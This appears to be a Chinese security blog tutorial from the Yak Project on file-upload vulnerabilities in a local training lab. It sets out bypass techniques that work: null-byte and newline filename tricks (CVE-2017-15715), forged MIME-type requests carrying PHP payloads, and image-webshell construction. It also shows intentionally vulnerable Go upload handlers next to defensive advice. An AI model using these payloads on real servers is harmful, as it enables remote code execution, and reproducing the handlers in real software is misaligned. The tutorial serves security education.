跳到主要内容

靶场实战:文件上传与特定文件格式漏洞

· 阅读需 11 分钟
Yak Project
网络安全垂直语言团队

前言

文件上传漏洞可以算是渗透测试中很常见的一种类型,毕竟在一个web程序里,我们经常会用到文件上传功能。比如在社交媒体上传头像、上传简历信息、相册上传照片等。

既然“文件上传”这个功能本身没有问题,那么它是如何造成漏洞的呢?

文件上传这个行为本身没有任何问题,有问题的是上传过程中:在Web应用程序中存在不恰当的文件上传验证或过滤,导致攻击者可以上传恶意文件或非法文件类型,从而执行远程代码、获取敏感信息或实施其他攻击。常见的攻击或绕过方式有:上传恶意文件、绕过文件类型限制、上传恶意图片、文件覆盖、目录遍历、文件解析漏洞等。

本文从基础案例引入,并结合 CVE 真实案例详细讲解文件上传漏洞。

案例分享及教学基础文件上传案例

该案例实现了一些基本的文件上传安全措施,如检查文件是否成功获取、检查文件名是否为空、使用临时文件进行文件处理。

示例代码:

r.Handle("/upload/case/safe", http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) {
fp, header, err := request.FormFile("filename")
if err != nil {
Failed(writer, request, "Parse Multipart File Failed: %s", err)
return
}
if header.Filename == "" {
Failed(writer, request, "Empty Filename")
return
}

fn := header.Filename

ext := fn[strings.LastIndexByte(fn, '.'):]
tfp, err := consts.TempFile("temp-*.txt")
if err != nil {
Failed(writer, request, "Create Temporary File Failed: %s", err)
return
}
io.Copy(tfp, fp)
tfp.Close()
unsafeTemplateRender(writer, request, string(uploadResult), map[string]any{
"filesize": utils.ByteSize(uint64(header.Size)),
"originName": fn,
"handledExt": ext,
"path": tfp.Name(),
})

}))

图片上传:nullbyte 可绕过

检测文件拓展名就是在文件被上传到服务端的时候,对于文件名的扩展名进行检查,如果不合法,则拒绝这次上传。

有两种策略:黑名单策略,文件扩展名在黑名单中的为不合法;白名单策略,文件扩展名不在白名单中的均为不合法。

示例代码:

这段代码用于确保用户上传的文件扩展名为允许上传的图片类型(jpg、png、jpeg、ico),如果不是,则返回一个包含文件上传失败信息的模板页面。这样做是为了防止上传不合法的文件类型。

if !utils.MatchAnyOfSubString(strings.ToLower(serverExt), "jpg", "png", "jpeg", "ico") {
unsafeTemplateRender(writer, request, uploadFailed, map[string]any{
"reason": fmt.Sprintf(
"u upload file: %v, fileSystemExt: %v, serverExt: %v",
strconv.Quote(fn), strconv.Quote(fileSystemExt), strconv.Quote(serverExt),),
})
return
}

攻击示例:

xxx.php%00.jpg 这样的文件名会被解析为php代码运行

空字节绕过是一种文件上传漏洞利用技术,攻击者可以在文件名中插入空字节(%00),从而绕过服务器对文件类型的检查,导致上传了非法文件类型的文件。

防御措施:

  • 移除空字节:在接收到上传文件的文件名时,对文件名进行处理,移除其中的空字节。可以使用strings.Replace()函数将空字节替换为空字符串。
  • 白名单验证:在服务器端对上传文件的扩展名进行验证时,使用白名单验证机制。即只允许特定的文件类型上传,而不是禁止某些文件类型。这样可以确保只有允许的文件类型能够通过上传验证。
  • 文件类型检查:不仅仅依赖文件名的扩展名进行验证,还应该通过其他方式对文件类型进行检查,比如读取文件头信息(magic bytes)来判断文件类型是否合法。

靶场演示: 视频图片上传:MIME 类型可绕过

文件上传时的MIME类型绕过漏洞是一种常见的安全问题。在Web应用程序中,文件上传功能允许用户将文件(例如图片)上传到服务器。通常,应用程序会检查上传文件的MIME类型,以确保用户上传的是允许的文件类型(例如图片文件)。然而,攻击者可以通过伪造文件的MIME类型来绕过这个检查,上传一些非图片文件,从而导致安全漏洞。

服务端MIME类型检测是通过检查http包的Content-Type字段中的值来判断上传文件是否合法的。

1、text/plain(纯文本)2、text/html(HTML文档)3、text/javascript(js代码)4、application/xhtml+xml(XHTML文档)5、image/gif(GIF图像)6、image/jpeg(JPEG图像)7、image/png(PNG图像)8、video/mpeg(MPEG动画)9、application/octet-stream(二进制数据)10、application/pdf(PDF文档)示例代码:

以下代码片段用于验证上传文件的MIME类型是否为图片类型。如果"Content-Type"字段不存在或格式不正确,或者上传的文件不是图片类型,那么会返回上传失败的信息,否则认为上传是成功的,这是一个简单的MIME类型检查过程

t, _, err := mime.ParseMediaType(header.Header.Get("Content-Type"))
if err != nil {
Failed(writer, request, "mimt.ParseMediaType Failed: %s", err)
return}
if !utils.IContains(t, "image/") {
unsafeTemplateRender(writer, request, uploadFailed, map[string]any{
"reason": fmt.Sprintf("found mime type: %s, not a image/*", t,
),})
return}

攻击示例:

攻击者可以通过修改HTTP请求的头部信息,将上传文件的MIME类型伪装成图片文件的MIME类型,从而欺骗服务器,使其误认为上传的是合法的图片文件。

POST /upload/case/mime HTTP/1.1
Host: 127.0.0.1:8787
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------4523705081261853528174745732
DNT: 1
Origin: http://127.0.0.1:8787
Referer: http://127.0.0.1:8787/upload/main?case=mime
User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/91.0
Content-Length: 182157

-----------------------------4523705081261853528174745732
Content-Disposition: form-data; name="filename"; filename="help.php"
Content-Type: image/jpeg

"<?php\x0aerror_reporting\x29E_ERROR\x28;\x0aheader\x29\"content-Type: text/html; charset=gb2312\"\x28;

防御措施:

为防止文件上传时的MIME类型绕过漏洞,开发者应该采取以下措施:

  • 验证文件的真实类型:不仅仅依赖于客户端提供的MIME类型,还需要在服务器端验证文件的实际内容。可以使用文件的魔术数字(magic number)或者第三方库来检查文件的真实类型。
  • 限制上传文件类型:明确规定允许上传的文件类型,并在服务器端进行白名单过滤。拒绝接受不在白名单中的文件类型。
  • 重命名上传文件:在保存上传文件时,将文件重命名为一个随机的、唯一的文件名,不要使用用户提供的文件名。

靶场演示: 视频CVE-2017-15715:Apache HTTPD 换行解析漏洞

Apache HTTPD 换行解析漏洞是一种Web服务器(Apache HTTPD)的安全漏洞,也被称为CRLF注入漏洞。该漏洞允许攻击者通过特定的换行符注入恶意内容,进而实施各种攻击。

示例代码:

fn := header.Filename
var serverExt string
var fileSystemExt string
writeFile, after, _ := strings.Cut(fn, "\x0a")
fileSystemExt = filepath.Ext(writeFile)
if after != "" {
serverExt = after
} else {
serverExt = fileSystemExt
}
if !utils.MatchAnyOfSubString(strings.ToLower(serverExt), "jpg", "png", "jpeg", "ico") {
unsafeTemplateRender(writer, request, uploadFailed, map[string]any{
"reason": fmt.Sprintf(
"u upload file: %v, fileSystemExt: %v, serverExt: %v",
strconv.Quote(fn), strconv.Quote(fileSystemExt), strconv.Quote(serverExt),
),
})
return
tfp, err := consts.TempFile("temp-*-" + writeFile)

攻击示例:

按照RFC2231的定义,多语言编码的Content-Disposition应该这么定义:

Content-Disposition: form-data; name="filename"; filename*=UTF-8''1.php%0a.jpg

即:

  • filename后面的等号之前要加 *
  • filename的值用单引号分成三段,分别是字符集(utf8)、语言(空)和urlencode过的文件名。
  • 最好加上双引号,否则文件名中空格后面的部分在Firefox中显示不出来
POST /upload/case/cve-2017-15715 HTTP/1.1
Host: 127.0.0.1:8787
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 233
Content-Type: multipart/form-data; boundary=---------------------------299942644414050572304234542504
DNT: 1
Origin: http://127.0.0.1:8787
Referer: http://127.0.0.1:8787/upload/main?case=cve-2017-15715
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0

-----------------------------299942644414050572304234542504
Content-Disposition: form-data; name="filename"; filename*=UTF-8''1.php%0a.jpg
Content-Type: text/php

<?=phpinfo()?>
-----------------------------299942644414050572304234542504--

防御措施:

  • 输入验证和过滤:对于所有从用户输入中获取的数据,包括HTTP请求头部字段,都应该进行严格的输入验证和过滤。特别是需要对换行符进行过滤,确保不会在用户输入中包含额外的换行符。
  • 规范化输出:在响应中返回的内容应该经过正确的编码和规范化,确保不会将用户输入作为响应头部字段的一部分输出。
  • 升级服务器版本:及时升级Apache HTTPD服务器到最新版本,以获得最新的安全修复和漏洞修复。
  • 使用Web应用防火墙(WAF):使用WAF可以帮助检测和阻止恶意请求,提高Web应用的安全性。

靶场演示: 视频图片上传:检查文件头,需配合包含

文件上传检查文件头是一种防御措施,旨在确保用户上传的文件类型与其声明的文件类型一致,从而避免恶意文件的上传和执行,但是当应用存在文件包含漏洞时,仍会造成代码执行。

示例代码:

确保上传的文件类型与其声明的文件类型一致

fn := header.Filename
t, _, err := mime.ParseMediaType(header.Header.Get("Content-Type"))
if err != nil {
Failed(writer, request, "mimt.ParseMediaType Failed: %s", err)
return}

mimeCheckType, _ := filetype.MatchReader(&buf)
if !utils.IContains(mimeCheckType.MIME.Value, "image/") {
unsafeTemplateRender(writer, request, uploadFailed, map[string]any{
"reason": fmt.Sprintf("upload failed: mime header: %v, filetype actually: %v", t, mimeCheckType.MIME.Value),
})
return
}

攻击示例:

上传具有正常文件头的图片马即可

图片马制作方式:

  • 文本方式打开,末尾粘贴一句话木马
  • cmd中 copy 1.jpg/b+2.php 3.jpg
  • 16进制打开图片在末尾添加一句话木马

防御措施:

  • 文件扩展名检查:检查文件扩展名是否与文件内容的实际类型匹配,防止文件名绕过。
  • 白名单校验:只允许上传安全、可信任的文件类型,并拒绝所有其他类型的文件。
  • 文件存储路径:将上传的文件存储在安全目录中,确保不允许用户上传的文件执行或包含任意代码。
  • 限制文件大小:限制上传文件的大小,防止大文件占用服务器资源和存储空间。
  • 防止目录穿越:确保上传的文件不能通过文件名或路径绕过应用程序的安全检查访问其他目录。

靶场演示: 视频总结

俗话说,防患于未然。对PHP开发来说,在开发阶段就应该在客户端和服务器端对用户上传的文件名和文件路径等项目进行严格检查。前文说到文件上传漏洞易发生,其危害不容小觑,在上传过程中,如果我们没有限制上传类型或者限制不严格被绕过,严重情况下可能会造成服务器沦陷等重大危害。这里将防范文件上传漏洞的几种常见方法做了总结,希望能提供一些安全思路。


本文首发于 Yak Project 公众号,阅读原文